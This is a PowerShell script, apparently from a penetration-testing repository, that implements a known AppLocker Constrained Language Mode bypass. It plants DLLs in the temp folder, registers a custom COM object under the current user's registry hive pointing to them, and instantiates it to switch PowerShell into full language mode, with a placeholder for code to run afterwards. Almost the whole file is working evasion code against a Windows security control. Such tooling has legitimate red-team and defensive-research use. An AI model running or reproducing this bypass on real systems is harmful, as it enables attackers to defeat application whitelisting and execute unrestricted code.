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mgeeky-Penetration-Testing-.../red-teaming/Bypass-ConstrainedLanguageMode/Bypass-CLM.ps1

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2019-06-21 04:52:38 +02:00

# -------------------------
$comName = "ClmDisableDll"
$comDescription = "CLM Disable COM"
$srcDllPath = '.\ClmDisableDll.dll'
$dstDllPath = "$($Env:Temp)\ClmDisableDll.dll"
$srcAssemblyPath = '.\ClmDisableAssembly.dll'
$dstAssemblyPath = "$($Env:Temp)\ClmDisableAssembly.dll"
$guid = "{394aaa50-684e-4870-911a-d045293b3b13}"
# -------------------------
function Bypass-CLM
{
param(
[switch]$RemoveComWhenFinished
)
$ErrorActionPreference = "SilentlyContinue"
function Create-COM {
param(
[Parameter(Mandatory = $true)]
[string]$comName,
[Parameter(Mandatory = $true)]
[string]$comDescription,
[Parameter(Mandatory = $true)]
[string]$dllPath,
[Parameter(Mandatory = $true)]
[string]$guid
)
# Obtains current user SID, can't use System.Security.Principal.NTAccount
# type because we are in Constrained Language Mode
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS
$key = 'HKU:\{0}_classes' -f $sid
# Adding our own InProcServer32
$key = 'HKU:\{0}_classes\CLSID\' -f $sid
New-Item -Path $key -Name $guid
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
New-Item -Path $key -Name 'InProcServer32'
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
$key = 'HKU:\{0}_classes\CLSID\{1}\InProcServer32' -f $sid, $guid
New-ItemProperty -Path $key -Name '(Default)' -Value $dllPath -PropertyType String -Force
New-ItemProperty -Path $key -Name 'ThreadingModel' -Value "Apartment" -PropertyType String -Force
# Registering COM's ProgID / shortname
$key = 'HKU:\{0}_classes' -f $sid
New-Item -Path $key -Name $comName
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
New-Item -Path $key -Name 'CLSID'
$key = 'HKU:\{0}_classes\{1}\CLSID' -f $sid, $comName
New-ItemProperty -Path $key -Name '(Default)' -Value $guid -PropertyType String -Force
}
function Remove-COM {
param(
[Parameter(Mandatory = $true)]
[string]$comName,
[Parameter(Mandatory = $true)]
[string]$guid
)
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS | Out-Null
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
Remove-Item -Path $key -Recurse | Out-Null
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
Remove-Item -Path $key -Recurse | Out-Null
}
function Invoke-PS {
param(
[Parameter(Mandatory = $true)]
[string]$Commands
)
$Runspace = [runspacefactory]::CreateRunspace()
$posh = [powershell]::Create()
$posh.runspace = $Runspace
$Runspace.Open()
[void]$posh.AddScript($Commands)
$posh.Invoke()
$posh.Dispose() | Out-Null
}
Write-Host "`tAppLocker Constrined Language Mode Bypass via COM"
Write-Host "`t(implementation of: @xpn's technique, as documented in:)"
Write-Host "`t(https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)"
Write-Host "`n`tRe-implemented, enhanced by: Mariusz B., mgeeky"
Write-Host "`t-----`n"
Write-Host "[.] Step 0. Planted DLL files in:`n`t$dstAssemblyPath`n`t$dstDllPath"
Copy-Item $srcDllPath $dstDllPath -Force
Copy-Item $srcAssemblyPath $dstAssemblyPath -Force
Write-Host "[.] Step 1. Creating custom COM object."
Create-COM -ComName $comName -ComDescription $comDescription -DllPath $dstDllPath -Guid $guid | Out-Null
Write-Host "[.] Step 2. Invoking it ($comName)..."
Write-Host "`tPowershell runspace Thread ID: $([appdomain]::GetCurrentThreadId())"
try
{
New-Object -ComObject $comName -erroraction 'silentlycontinue' | Out-Null
}
catch
{
}
if($RemoveComWhenFinished)
{
Write-Host "[.] Removing registered COM object."
Remove-COM -ComName $comName -Guid $guid
}
else
{
Write-Host "`n============"
Write-Host -ForegroundColor Yellow "`nUse below command to disable CLM on Demand (ignore errors):"
Write-Host "`n`tPS> " -NoNewLine
Write-Host -ForegroundColor Green "New-Object -ComObject $comName"
Write-Host "`n============`n"
}
#############################################################
#
# PUT YOUR CODE BELOW THAT IS GOING TO BE RUN IN CLM DISABLED
#
Write-Host "`n[+] Finished. CLM status: $($ExecutionContext.SessionState.LanguageMode)"
#############################################################
}
Bypass-CLM